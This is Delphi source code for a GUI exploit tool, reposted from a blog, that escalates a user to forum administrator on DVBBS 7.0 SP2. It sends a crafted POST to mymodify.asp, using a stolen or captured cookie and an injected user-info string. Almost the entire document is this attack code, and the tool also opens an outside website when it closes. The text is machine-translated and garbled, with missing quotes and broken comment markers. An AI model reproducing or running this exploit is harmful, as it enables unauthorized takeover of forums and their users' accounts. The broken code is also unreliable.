DVBBS7.0SP2 foreground right exploit procedure [Kendy version] Source code _ Loophole Research

Author: Kendy article source: Kendys Blog
Unit Unit1;
Interface
Uses
Windows, Messages, sysutils, variants, Classes, Graphics, Controls, Forms,
Dialogs, Scktcomp, Stdctrls, Comctrls, Winskindata, Shellapi;
Type
TForm1 = Class (Tform)
Label1:tlabel;
Label2:tlabel;
Label3:tlabel;
Edit1:tedit;
Edit2:tedit;
Edit3:tedit;
Button1:tbutton;
Clientsocket1:tclientsocket;
Groupbox1:tgroupbox;
Memo1:tmemo;
Label4:tlabel;
Statusbar1:tstatusbar;
Skindata1:tskindata;
Procedure Button1Click (Sender:tobject);
Procedure Clientsocket1connect (Sender:tobject;
Socket:tcustomwinsocket);
Procedure Clientsocket1read (Sender:tobject; Socket:tcustomwinsocket);
Procedure Clientsocket1error (Sender:tobject; Socket:tcustomwinsocket;
Errorevent:terrorevent; var errorcode:integer);
Procedure Formclose (Sender:tobject; var action:tcloseaction);
Private
{Private declarations}
Public
{Public declarations}
End
Var
Form1:tform1;
data:string;
Implementation
{$R *.DFM}
Procedure Tform1.button1click (Sender:tobject);
Var
surl,susername,spost,sreferer,shost,scookie,s:string;
I:integer;
Begin
Clientsocket1.close;
If Edit1. Text = Then
Begin
Statusbar1.panels[0]. Text: = Please enter the forum address! ’;
Exit
End
If Edit2. Text = Then
Begin
Statusbar1.panels[0]. Text: = Please input your forum account number! ’;
Exit
End
If Edit3. Text = Then
Begin
Statusbar1.panels[0]. Text: = Please enter the crawl cookie! ’;
Exit
End
Memo1. Text: =;
Statusbar1.panels[0]. Text: =;
Label4.caption: =;
Surl:=edit1. Text;
If Pos (HTTP://,SURL) <> 0 Then
Surl:=stringreplace (Surl,http://,,[rfignorecase]);
Susername:=edit2. Text;
Scookie:=edit3. Text;
--------Host-------------
I:=pos (/,surl);
If I <> 0 Then
Shost:=copy (surl,0,i-1)
Else
Shost:=surl;
--------Referer-----------
sreferer:=http://+ sURL +/mymodify.asp;
--------POST--------------
Spost:=stringreplace (Surl,shost,,[rfignorecase]);
Spost:=spost +/mymodify.asp?action=updat&username= + susername;
--------Packet------------
s:=sex=1&face=images%2fuserface%2fimage1.gif&myface=images/userface/image1.gif| | | 32| | | 32| | | 2003-12-30%;
s:=s+2016:34:00| | | 2005-6-19%2018:04:06| | | 25| | | 0| | | admin | | | 1| | | | | 120| | | 115| | | 28| | | 0| | | | | 210.41.235.200| | |;
s:=s+0| | | 0| | | 0| | | | | 0| | | | | level10.gif| | | | | 9pc722664t5w7im7| | | 0|0|0 | | | dvbbs&width=100&height=100;
s:=s+&birthday=&userphoto=&groupname=%ce%de%c3%c5%ce%de%c5%c9&signature=&showre=0& usercookies=1&setuserinfo;
S:=s+=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province= &selectp=0&city=&selectc=0;
s:=s+&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=& submit=%b8%fc+%d0;
Data:=post +spost+ http/1.1+ #13 #10;
Data:=data+accept:image/gif, Image/x-xbitmap, Image/jpeg, Image/pjpeg, Application/vnd.ms-excel, application/ MSWord, Application/x-shockwave-flash, */*+ #13 #10;
Data:=data+referer: +sreferer+ #13 #10;
data:=data+accept-language:zh-cn+ #13 #10;
Data:=data+content-type:application/x-www-form-urlencoded+ #13 #10;
Data:=data+accept-encoding:gzip, deflate+ #13 #10;
data:=data+user-agent:mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; Tencenttraveler) + #13 #10;
Data:=data+host: +shost+ #13 #10;
data:=data+content-length:585+ #13 #10;
data:=data+connection:keep-alive+ #13 #10;
data:=data+cache-control:no-cache+ #13 #10;
Data:=data+cookie: + scookie+ #13 #10+ #13 #10;
Data:=data+s;
--------Start sending packets-------------
Clientsocket1.host: = Shost;
Clientsocket1.port: = 80;
Clientsocket1.open;
Statusbar1.panels[0]. Text: = Send in data ...;
End
Procedure Tform1.clientsocket1connect (Sender:tobject;
Socket:tcustomwinsocket);
Begin
Socket.sendtext (Data);
End
Procedure Tform1.clientsocket1read (Sender:tobject;
Socket:tcustomwinsocket);
Begin
Memo1. Text: =socket.receivetext;
If Pos (your modification information has been successfully submitted, memo1.) Text) <> 0 Then
Begin
Label4.caption:=>> successfully promoted to front desk manager! ’;
Statusbar1.panels[0]. Text: = successful, please re-enter the forum! ’;
End
Else
Begin
Label4.caption:=>> Sorry, the right to raise failed;
Statusbar1.panels[0]. Text: = failed, try another forum. ’;
End
End
Procedure Tform1.clientsocket1error (Sender:tobject;
Socket:tcustomwinsocket; Errorevent:terrorevent;
var errorcode:integer);
Begin
errorcode:= 0;
Statusbar1.panels[0]. Text: =error ...
Exit;
End
Procedure Tform1.formclose (Sender:tobject; var action:tcloseaction);
Begin
ShellExecute (handle,open,http://aliwy.77169.com,nil,nil,sw_show);
End
End.